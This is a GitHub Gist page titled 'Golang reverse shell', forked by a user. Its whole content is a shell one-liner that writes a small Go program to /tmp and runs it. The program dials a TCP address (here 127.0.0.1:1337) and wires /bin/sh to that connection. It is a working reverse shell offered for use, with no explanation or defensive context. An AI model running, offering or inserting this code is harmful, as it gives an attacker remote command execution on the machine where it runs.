Skip to content

Instantly share code, notes, and snippets.

View hugoabonizio's full-sized avatar
👾

Hugo Abonizio hugoabonizio

👾
View GitHub Profile
@hugoabonizio
hugoabonizio / shell.go
Created June 1, 2016 16:10 — forked from takeshixx/shell.go
Golang reverse shell
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go